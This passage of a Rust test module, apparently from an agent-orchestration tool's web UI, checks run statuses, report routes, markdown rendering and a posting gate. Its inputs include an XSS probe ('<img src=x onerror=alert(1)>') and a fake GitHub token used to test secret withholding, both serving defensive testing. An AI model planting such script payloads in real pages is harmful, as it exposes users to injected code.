19509 state.driver_pid = Some(std::process::id());
19514 state.driver_started_at = Some("1".to_owned());
19515 let dir = f.runs().join(id);
19516 std::fs::create_dir_all(&dir).expect("run dir");
19517 std::fs::write(
19518 dir.join("run.json"),
19519 serde_json::to_string_pretty(&state).expect("serialize run"),
19520 )
19521 .expect("write run.json");
19522
19523 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19524 assert_eq!(detail["live"], "dead", "{detail}");
19525 }
19526
19527 #[test]
19531 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19532 let mk = |id: &str, pid: Option<u32>| {
19533 let mut s = RunState::new(
19534 PathBuf::from("/repo/magi"),
19535 "main".to_owned(),
19536 "0123456789abcdef".to_owned(),
19537 "Add a web UI".to_owned(),
19538 Config::default(),
19539 );
19540 s.id = id.to_owned();
19541 s.driver_pid = pid;
19542 s.driver_started_at = Some("1790000000".to_owned());
19543 s
19544 };
19545 let states = vec![
19546 mk("20260902-140502-aaaa", Some(77)),
19547 mk("20260902-140502-bbbb", Some(77)),
19548 mk("20260902-140502-cccc", Some(77)),
19549 mk("20260902-140502-dddd", None),
19550 ];
19551 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19552 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19553 let sup: HashMap<String, String> = [(
19554 "20260902-140502-aaaa".to_owned(),
19555 "20260902-140502-cccc".to_owned(),
19556 )]
19557 .into();
19558
19559 let status_calls = std::cell::Cell::new(0);
19560 let identity_calls = std::cell::Cell::new(0);
19561 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19562 |_| {
19563 status_calls.set(status_calls.get() + 1);
19564 Some(true)
19565 },
19566 |_| {
19567 identity_calls.set(identity_calls.get() + 1);
19568 Some("1790000000".to_owned())
19569 },
19570 ));
19571 let rows = summarize(
19572 states,
19573 &open,
19574 &claimed,
19575 &sup,
19576 |p| probe.borrow_mut().status(p),
19577 |p| probe.borrow_mut().started_at(p),
19578 );
19579
19580 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19581 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19582 assert_eq!(rows.len(), 4);
19583 assert!(!rows[0].waiting && rows[1].waiting);
19584 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19585 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19586 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19587 assert_eq!(rows[1].superseded_by, None);
19588 }
19589
19590 #[test]
19591 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19592 let mut state = RunState::new(
19593 PathBuf::from("/repo/magi"),
19594 "main".to_owned(),
19595 "0123456789abcdef".to_owned(),
19596 "Review only".to_owned(),
19597 Config::default(),
19598 );
19599 state.id = "20260922-090200-dead".to_owned();
19600 state.status = RunStatus::Reviewing;
19601 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19602 .expect("serialize list row");
19603 assert_eq!(row["status"], "reviewing");
19604 assert_eq!(row["display_status"], "stale");
19605 assert_eq!(row["live"], "dead", "{row}");
19606 assert!(!row["done"].as_bool().unwrap());
19607 }
19608
19609 #[test]
19610 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19611 use crate::run::Liveness::{Dead, Live, Unknown};
19612 let mut state = RunState::new(
19613 PathBuf::from("/repo/magi"),
19614 "main".to_owned(),
19615 "abc".to_owned(),
19616 "Review only".to_owned(),
19617 Config::default(),
19618 );
19619 for (status, parked, node, waiting, live, expected) in [
19620 (
19621 RunStatus::Judging,
19622 true,
19623 "github-text",
19624 false,
19625 Dead,
19626 "parked",
19627 ),
19628 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19629 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19630 (
19631 RunStatus::Judging,
19632 true,
19633 "github-text",
19634 true,
19635 Dead,
19636 "waiting",
19637 ),
19638 (
19639 RunStatus::Judging,
19640 false,
19641 "github-text",
19642 true,
19643 Dead,
19644 "waiting",
19645 ),
19646 (
19647 RunStatus::Judging,
19648 false,
19649 "github-text",
19650 false,
19651 Dead,
19652 "stale",
19653 ),
19654 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19655 (RunStatus::Judging, true, "park", false, Live, "judging"),
19656 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19657 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19658 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19659 (
19660 RunStatus::Blocked,
19661 true,
19662 "github-text",
19663 true,
19664 Dead,
19665 "waiting",
19666 ),
19667 ] {
19668 state.status = status;
19669 state.parked = parked;
19670 state.events.clear();
19671 state.event(
19672 "park",
19673 "an earlier park does not determine the latest state",
19674 );
19675 state.event(node, "message is not used for classification");
19676 let summary = RunSummary::of(&state, waiting, live);
19677 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19678 assert_eq!(
19679 summary.display_status, expected,
19680 "{status:?}/{node}/{live:?}"
19681 );
19682 assert_eq!(detail.display_status, summary.display_status);
19683 assert_eq!(detail.waiting, summary.waiting);
19684 }
19685 state.status = RunStatus::Judging;
19686 state.parked = false;
19687 state.events.clear();
19688 assert_eq!(run_display_status(&state, false, Dead), "stale");
19689 }
19690
19691 #[test]
19692 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19693 use crate::run::Liveness::{Dead, Live, Unknown};
19694 let mut state = RunState::new(
19695 PathBuf::from("/repo/magi"),
19696 "main".to_owned(),
19697 "abc".to_owned(),
19698 "Badge".to_owned(),
19699 Config::default(),
19700 );
19701 for (status, waiting, live, superseded, expected) in [
19702 (RunStatus::Gating, false, Dead, false, "stale"),
19703 (RunStatus::Gating, false, Dead, true, "superseded"),
19704 (RunStatus::Gating, false, Unknown, true, "superseded"),
19705 (RunStatus::Gating, true, Dead, true, "superseded"),
19706 (RunStatus::Gating, true, Dead, false, "waiting"),
19707 (RunStatus::Gating, false, Unknown, false, "gating"),
19708 (RunStatus::Gating, false, Live, true, "gating"),
19709 (RunStatus::Gating, true, Live, true, "waiting"),
19710 (RunStatus::Merged, false, Dead, true, "merged"),
19711 (RunStatus::Blocked, false, Dead, true, "blocked"),
19712 ] {
19713 state.status = status;
19714 let display = run_display_status(&state, waiting, live);
19715 assert_eq!(
19716 run_badge_status(&state, &display, live, superseded),
19717 expected,
19718 "{status:?}/{live:?}/superseded={superseded}"
19719 );
19720 }
19721 }
19722
19723 #[test]
19724 fn summarize_and_detail_expose_badge_status() {
19725 use crate::run::Liveness::Dead;
19726 let mut state = RunState::new(
19727 PathBuf::from("/repo/magi"),
19728 "main".to_owned(),
19729 "abc".to_owned(),
19730 "Badge".to_owned(),
19731 Config::default(),
19732 );
19733 state.status = RunStatus::Gating;
19734 let none = HashSet::new();
19735 let id = state.id.clone();
19736 let mut by = HashMap::new();
19737 let rows = summarize(
19738 [state.clone()],
19739 &none,
19740 &none,
19741 &by,
19742 |_| Some(false),
19743 |_| None,
19744 );
19745 assert_eq!(rows[0].badge_status, rows[0].display_status);
19747 by.insert(id, "20260901-000000-913b".to_owned());
19748 let detail = RunDetailView::of(
19749 state.clone(),
19750 false,
19751 Dead,
19752 Some("913b".to_owned()),
19753 None,
19754 None,
19755 );
19756 assert_eq!(detail.badge_status, "superseded");
19757 let json = serde_json::to_value(&detail).unwrap();
19758 assert_eq!(json["badge_status"], "superseded");
19759 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19760 assert_eq!(detail.badge_status, "stale");
19761 }
19762
19763 #[tokio::test]
19764 async fn run_display_status_routes_share_the_open_question_store() {
19765 let f = Fixture::start().await;
19766 let id = "20260922-090200-abcd";
19767 write_run(&f.runs(), id, RunStatus::Judging);
19768 let mut state = read_run(&f.runs(), id).unwrap();
19769 state.parked = true;
19770 state.driver_exited = true;
19771 state.event("github-text", "waiting for the owner");
19772 state.save_under(f.home.path()).unwrap();
19773 let mut task = Task::new(
19774 "resumed task".to_owned(),
19775 "do it".to_owned(),
19776 PathBuf::from("/repo"),
19777 Source::Human,
19778 );
19779 task.runs = vec![id.to_owned(), id.to_owned()];
19780 f.queue().put(&mut task).unwrap();
19781 let store = f.questions();
19782 let mut q = Question::new(
19783 id.to_owned(),
19784 "github-text".to_owned(),
19785 "owner".to_owned(),
19786 "Approve the text?".to_owned(),
19787 String::new(),
19788 Vec::new(),
19789 );
19790 store.put(&mut q).unwrap();
19791 for expected in ["waiting", "parked"] {
19792 let list = f.get("/api/runs").await.json();
19793 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19794 assert_eq!(list[0]["display_status"], expected);
19795 assert_eq!(detail["display_status"], expected);
19796 assert_eq!(detail["waiting"], list[0]["waiting"]);
19797 assert_eq!(list[0]["badge_status"], expected);
19798 assert_eq!(detail["badge_status"], expected);
19799 assert!(list[0]["superseded_by"].is_null());
19800 assert!(detail["superseded_by"].is_null());
19801 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19802 let history = task_detail["history"].as_array().unwrap();
19803 assert_eq!(history.len(), 2);
19804 assert!(history[0]["badge"].is_null());
19805 assert_eq!(history[1]["badge"], expected);
19806 q.status = ask::QuestionStatus::Answered;
19807 store.put(&mut q).unwrap();
19808 }
19809 }
19810
19811 #[tokio::test]
19812 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19813 let f = Fixture::start().await;
19814 let id = "20260922-090200-abcd";
19815 write_run(&f.runs(), id, RunStatus::Judging);
19816 let mut state = read_run(&f.runs(), id).unwrap();
19817 state.parked = true;
19818 state.driver_exited = true;
19819 state.event("park", "stopped at a node boundary");
19820 state.save_under(f.home.path()).unwrap();
19821
19822 for expected in ["parked", "stale"] {
19823 let list = f.get("/api/runs").await.json();
19824 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19825 assert_eq!(list[0]["live"], "dead");
19826 assert_eq!(list[0]["display_status"], expected);
19827 assert_eq!(detail["display_status"], expected);
19828 state.parked = false;
19831 state.save_under(f.home.path()).unwrap();
19832 }
19833 }
19834
19835 #[tokio::test]
19836 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19837 let f = Fixture::start().await;
19838 for id in [
19839 "20260902-140501-aaaa",
19840 "20260902-140502-bbbb",
19841 "20260902-140503-cccc",
19842 ] {
19843 write_run(&f.runs(), id, RunStatus::Merged);
19844 }
19845
19846 let all = f.get("/api/runs").await.json();
19847 let capped = f.get("/api/runs?limit=2").await.json();
19848
19849 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19850 assert_eq!(all.as_array().map(Vec::len), Some(3));
19851 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19852 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19853 }
19854
19855 #[tokio::test]
19856 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19857 let f = Fixture::start().await;
19858 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19859
19860 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19861
19862 assert_eq!(res.status, 200);
19863 assert!(
19864 res.headers
19865 .contains("content-type: text/plain; charset=utf-8"),
19866 "a browser must render it, not download it: {}",
19867 res.headers
19868 );
19869 assert!(
19873 res.body.contains("20260902-140501-a1b2"),
19874 "the report is about the run that was asked for: {}",
19875 res.body
19876 );
19877 }
19878
19879 #[tokio::test]
19880 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19881 crate::run::pin_test_home();
19883 let f = Fixture::start().await;
19884 let id = "20260902-140501-a1b2";
19885 write_run(&f.runs(), id, RunStatus::Stalled);
19886 let path = f.runs().join(id).join("run.json");
19889 let mut v: serde_json::Value =
19890 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19891 v["tally"] = serde_json::json!({
19892 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19893 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19894 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19895 "met_quorum": false, "rankings": 1
19896 });
19897 v["reviews"] = serde_json::json!([{
19898 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19899 "e2e_deferred": true,
19900 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19901 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19902 ]}]
19903 }]);
19904 std::fs::write(&path, v.to_string()).unwrap();
19905 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19906 std::fs::write(
19907 f.runs().join("20260902-140502-dead").join("run.json"),
19908 "{not json",
19909 )
19910 .unwrap();
19911
19912 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19913
19914 assert_eq!(res.status, 200, "{}", res.body);
19915 assert!(res.headers.contains("content-type: application/json"));
19916 let j = res.json();
19917 assert_eq!(j["schema"], 1);
19918 assert_eq!(j["header"]["id"], id);
19919 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19920 let kinds: Vec<&str> = j["sections"]
19921 .as_array()
19922 .unwrap()
19923 .iter()
19924 .map(|s| s["kind"].as_str().unwrap())
19925 .collect();
19926 assert_eq!(kinds, ["candidates", "tally", "review"]);
19927 let tally = &j["sections"][1]["tally"];
19928 assert_eq!(
19929 (tally["decided"].clone(), tally["provisional"].clone()),
19930 (false.into(), true.into())
19931 );
19932 let round = &j["sections"][2]["rounds"][0];
19933 assert_eq!(round["e2e"]["state"], "deferred");
19934 assert_eq!(round["findings"][0]["severity"], "major");
19935 assert_eq!(round["findings"][0]["blocking"], true);
19936 assert_eq!(round["findings"][0]["state"], "open");
19937
19938 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19940
19941 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19943 assert_ne!(bad.status, 200, "{}", bad.body);
19944 assert_eq!(
19945 bad.status,
19946 f.get("/api/runs/20260902-140502-dead/report").await.status
19947 );
19948 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19949 assert_eq!(
19950 f.get("/api/runs/20260902-999999-ffff/report.json")
19951 .await
19952 .status,
19953 404
19954 );
19955 }
19956
19957 #[tokio::test]
19958 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19959 crate::run::pin_test_home();
19960 let f = Fixture::start().await;
19961 let id = "20260902-140503-delib";
19962 write_run(&f.runs(), id, RunStatus::Merged);
19963 let path = f.runs().join(id).join("run.json");
19964 let mut v: serde_json::Value =
19965 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19966 v["judgements"] = serde_json::json!([
19967 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19968 ]);
19969 v["tally"] = serde_json::json!({
19970 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19971 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19972 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19973 "met_quorum": true, "rankings": 1
19974 });
19975 v["deliberation"] = serde_json::json!([
19976 {
19977 "round": 1,
19978 "turns": [
19979 {
19980 "judge": 1,
19981 "agent": "judge-1",
19982 "body": "I prefer candidate **A** because it has cleaner tests.",
19983 "tentative": "A"
19984 }
19985 ]
19986 },
19987 {
19988 "round": 2,
19989 "turns": [
19990 {
19991 "judge": 1,
19992 "agent": "judge-1",
19993 "body": "Still thinking, no choice yet.",
19994 "tentative": null
19995 }
19996 ]
19997 }
19998 ]);
19999 std::fs::write(&path, v.to_string()).unwrap();
20000
20001 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20002 assert_eq!(res.status, 200, "{}", res.body);
20003 let j = res.json();
20004 let judging = j["sections"]
20005 .as_array()
20006 .unwrap()
20007 .iter()
20008 .find(|s| s["kind"] == "judging")
20009 .expect("judging section exists");
20010
20011 let delib_lines = judging["deliberation"].as_array().unwrap();
20013 assert_eq!(delib_lines.len(), 2);
20014 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20015 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20016
20017 let rounds = judging["rounds"].as_array().unwrap();
20019 assert_eq!(rounds.len(), 2);
20020 let r1_t0 = &rounds[0]["turns"][0];
20021 assert_eq!(r1_t0["judge"], 1);
20022 assert_eq!(r1_t0["agent"], "judge-1");
20023 assert_eq!(r1_t0["tentative"], "A");
20024 assert_eq!(
20025 r1_t0["body"],
20026 "I prefer candidate **A** because it has cleaner tests."
20027 );
20028 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20029
20030 let r2_t0 = &rounds[1]["turns"][0];
20031 assert_eq!(r2_t0["judge"], 1);
20032 assert_eq!(r2_t0["agent"], "judge-1");
20033 assert!(r2_t0["tentative"].is_null());
20034 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20035 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20036
20037 let id_empty = "20260902-140504-nodelib";
20039 write_run(&f.runs(), id_empty, RunStatus::Merged);
20040 let path_empty = f.runs().join(id_empty).join("run.json");
20041 let mut v_empty: serde_json::Value =
20042 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20043 v_empty["judgements"] = serde_json::json!([
20044 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20045 ]);
20046 v_empty["deliberation"] = serde_json::json!([]);
20047 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20048
20049 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20050 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20051 let j_empty = res_empty.json();
20052 let judging_empty = j_empty["sections"]
20053 .as_array()
20054 .unwrap()
20055 .iter()
20056 .find(|s| s["kind"] == "judging")
20057 .expect("judging section exists");
20058 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20059 }
20060
20061 #[tokio::test]
20062 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20063 let f = Fixture::start().await;
20064
20065 let html = f.get("/").await;
20066 let css = f.get("/app.css").await;
20067 let js = f.get("/app.js").await;
20068
20069 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20070 assert!(
20071 html.headers
20072 .contains("content-type: text/html; charset=utf-8")
20073 );
20074 assert!(css.headers.contains("content-type: text/css"));
20075 assert!(js.headers.contains("content-type: text/javascript"));
20076 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20077 }
20078
20079 #[test]
20080 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20081 let body = |name: &str| {
20082 let at = APP_JS
20083 .find(name)
20084 .unwrap_or_else(|| panic!("{name} missing"));
20085 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20086 };
20087 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20088 let note = body("function landRoundNote");
20089 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20090 assert!(note.contains("Land round ${round}"));
20091 let land = body("function renderLand");
20092 let note_at = land
20093 .find("landRoundNote(pr)")
20094 .expect("renderLand uses the note");
20095 assert!(
20096 note_at
20097 < land
20098 .find("roundRail(pr)")
20099 .expect("renderLand uses the rail")
20100 );
20101 }
20102
20103 #[test]
20104 fn the_runs_page_redesign_keeps_its_guards() {
20105 let body = |name: &str| {
20106 let at = APP_JS
20107 .find(name)
20108 .unwrap_or_else(|| panic!("{name} missing"));
20109 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20110 };
20111 let land = body("function renderLand");
20113 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20114 assert!(
20115 !land.contains("box.append("),
20116 "renderLand must use append()"
20117 );
20118 assert!(land.contains("append(box, ["));
20119 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20121 assert!(
20122 body("function applyRoute")
20123 .contains("route.name !== state.route.name || route.id !== state.route.id")
20124 );
20125 assert!(!APP_JS.contains("adviseConvergeDiagram"));
20127 assert!(!INDEX_HTML.contains("advise-converge"));
20128 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20129 assert!(APP_JS.contains("provisional"));
20130 for id in [
20131 "run-tab-overview",
20132 "run-tab-timeline",
20133 "run-tab-report",
20134 "run-report",
20135 "runs-scope",
20136 ] {
20137 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20138 }
20139 assert!(!INDEX_HTML.contains("runs-tree"));
20140 assert!(!INDEX_HTML.contains("run-raw-panel"));
20141 assert!(APP_JS.contains("resume"));
20143 assert!(APP_JS.contains("unreadable"));
20145 }
20146
20147 #[test]
20148 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20149 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20150 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20151 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
20152 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20153 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20154 assert!(APP_JS.contains("unreadable` : null"));
20156 }
20157
20158 #[test]
20159 fn blocked_run_detail_exposes_the_failed_gate_reason() {
20160 let mut state = RunState::new(
20161 "/repo".into(),
20162 "main".into(),
20163 "abc".into(),
20164 "task".into(),
20165 crate::config::Config::default(),
20166 );
20167 state.status = RunStatus::Blocked;
20168 state.gate_ran = true;
20169 state.gate.push(crate::run::CommandOutcome {
20170 command: "cargo make check".into(),
20171 code: Some(1),
20172 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20173 duration_ms: 0,
20174 resource_blocked: false,
20175 });
20176 let view = RunDetailView::of(
20177 state,
20178 false,
20179 crate::run::Liveness::Unknown,
20180 None,
20181 None,
20182 None,
20183 );
20184 let value = serde_json::to_value(view).unwrap();
20185 assert_eq!(
20186 value["stop_reason"],
20187 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20188 );
20189 }
20190
20191 #[test]
20192 fn the_run_detail_payload_says_whether_the_run_is_done() {
20193 for (status, done) in [
20195 (RunStatus::Superseded, true),
20196 (RunStatus::Blocked, true),
20197 (RunStatus::Landing, false),
20198 ] {
20199 let mut state = RunState::new(
20200 std::path::PathBuf::from("/repo"),
20201 "main".to_owned(),
20202 "abc".to_owned(),
20203 "x".to_owned(),
20204 crate::config::Config::default(),
20205 );
20206 state.status = status;
20207 let v = serde_json::to_value(RunDetailView::of(
20208 state,
20209 false,
20210 crate::run::Liveness::Unknown,
20211 None,
20212 None,
20213 None,
20214 ))
20215 .unwrap();
20216 assert_eq!(v["done"], done, "{status:?}");
20217 }
20218 }
20219
20220 fn has_strong(nodes: &[md::Node]) -> bool {
20222 serde_json::to_string(nodes).unwrap().contains("strong")
20223 }
20224
20225 #[test]
20226 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20227 let mut state = RunState::new(
20228 std::path::PathBuf::from("/repo"),
20229 "main".to_owned(),
20230 "abc".to_owned(),
20231 "x".to_owned(),
20232 crate::config::Config::default(),
20233 );
20234 let proposal = |approach: &str| {
20235 serde_json::json!({
20236 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20237 })
20238 };
20239 state.advice = Some(
20240 serde_json::from_value(serde_json::json!({
20241 "records": [
20242 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20243 "proposal": proposal("do **this**")},
20244 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20245 ],
20246 "synthesis": "- one\n- **two**\n\n`code`",
20247 }))
20248 .unwrap(),
20249 );
20250 state.candidates = serde_json::from_value(serde_json::json!([
20251 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20252 "summary": "did **it**"},
20253 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20254 ]))
20255 .unwrap();
20256 state.reviews = serde_json::from_value(serde_json::json!([{
20259 "round": 1, "head": "h",
20260 "reviews": [{
20261 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20262 "findings": [
20263 {"severity": "nit", "title": "t1", "detail": "plain nit"},
20264 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20265 ],
20266 }],
20267 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20268 "fix": {"agent": "a", "notes": "fixed **it**",
20269 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20270 }, {"round": 2, "head": "h2", "reviews": []}]))
20271 .unwrap();
20272
20273 let v = serde_json::to_value(RunDetailView::of(
20274 state,
20275 false,
20276 crate::run::Liveness::Unknown,
20277 None,
20278 None,
20279 None,
20280 ))
20281 .unwrap();
20282
20283 let strong = |p: &str| {
20284 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20285 assert!(n.to_string().contains("strong"), "{p}: {n}");
20286 };
20287 strong("/advice_md/synthesis");
20288 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20289 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20290 strong("/advice_md/approaches/0");
20291 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20292 strong("/candidate_summaries_md/0");
20293 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20294 strong("/reviews_md/0/reviewers/0/summary");
20295 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20296 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20297 assert!(f[1].to_string().contains("strong"));
20298 strong("/reviews_md/0/reconsideration/0");
20299 strong("/reviews_md/0/fix/notes");
20300 strong("/reviews_md/0/fix/rejected/0");
20301 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20302 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20303 assert_eq!(v["candidates"][0]["summary"], "did **it**");
20305 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20306 }
20307
20308 #[test]
20309 fn a_run_without_advice_has_no_advice_md() {
20310 let state = RunState::new(
20311 std::path::PathBuf::from("/repo"),
20312 "main".to_owned(),
20313 "abc".to_owned(),
20314 "x".to_owned(),
20315 crate::config::Config::default(),
20316 );
20317 let p = run_prose_md(&state);
20318 assert!(p.advice_md.is_none());
20319 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20320 }
20321
20322 #[test]
20323 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20324 let store = ask::Questions::at(PathBuf::from("unused"));
20325 let gt = crate::github_text::Withheld {
20326 title: false,
20327 body: true,
20328 categories: vec!["sensitive-data".into()],
20329 };
20330 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20331 let (detail, comparison) =
20332 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20333 let mut q = Question::new(
20334 "r".into(),
20335 "github-text".into(),
20336 "posting-gate".into(),
20337 "s".into(),
20338 detail,
20339 Vec::new(),
20340 );
20341 assert!(
20342 QuestionView::of(q.clone(), &store, None)
20343 .posting_view
20344 .is_none()
20345 );
20346 q.posting_comparison = Some(comparison);
20347 let view = QuestionView::of(q.clone(), &store, None);
20348 let field = &view.posting_view.unwrap().fields[0];
20349 assert_eq!(
20350 field
20351 .original
20352 .iter()
20353 .map(|f| f.text.as_str())
20354 .collect::<String>(),
20355 body
20356 );
20357 assert!(field.original[0].text.starts_with("<img"));
20358 let original_question: Question =
20359 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20360 assert_eq!(original_question, q);
20361 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20362 .original
20363 .start = 1;
20364 assert!(
20365 QuestionView::of(q.clone(), &store, None)
20366 .posting_view
20367 .is_none()
20368 );
20369 q.posting_comparison = original_question.posting_comparison;
20370 q.detail.push_str("extra context");
20371 assert!(
20372 QuestionView::of(q.clone(), &store, None)
20373 .posting_view
20374 .is_some()
20375 );
20376 q.detail.insert(0, 'x');
20377 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20378 }
20379
20380 #[test]
20381 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20382 let store = ask::Questions::at(PathBuf::from("unused"));
20383 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20384 let gt = crate::github_text::Withheld::from_check(
20385 &crate::github_text::check("fix: x", body),
20386 "fix: x",
20387 body,
20388 )
20389 .unwrap();
20390 let (detail, comparison) =
20391 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20392 let mut q = Question::new(
20393 "r".into(),
20394 "github-text".into(),
20395 "posting-gate".into(),
20396 "s".into(),
20397 detail,
20398 Vec::new(),
20399 );
20400 q.posting_comparison = Some(comparison);
20401 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20402 let field = &value["posting_view"]["fields"][0];
20403 let group = &field["replacement_group"];
20404 let triggers = group["triggers"].as_array().unwrap();
20405 assert_eq!(triggers.len(), 2);
20406 assert_ne!(triggers[0], triggers[1]);
20407 for id in triggers {
20408 assert!(
20409 field["original"]
20410 .as_array()
20411 .unwrap()
20412 .iter()
20413 .any(|f| &f["pair"] == id)
20414 );
20415 assert!(
20416 !field["changed"]
20417 .as_array()
20418 .unwrap()
20419 .iter()
20420 .any(|f| &f["pair"] == id)
20421 );
20422 }
20423 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20424 group["id"].as_u64().unwrap() as usize;
20425 assert!(
20426 QuestionView::of(q, &store, None).posting_view.is_none(),
20427 "group and trigger IDs cannot collide"
20428 );
20429 }
20430
20431 #[test]
20432 fn a_question_view_carries_markdown_for_each_thread_turn() {
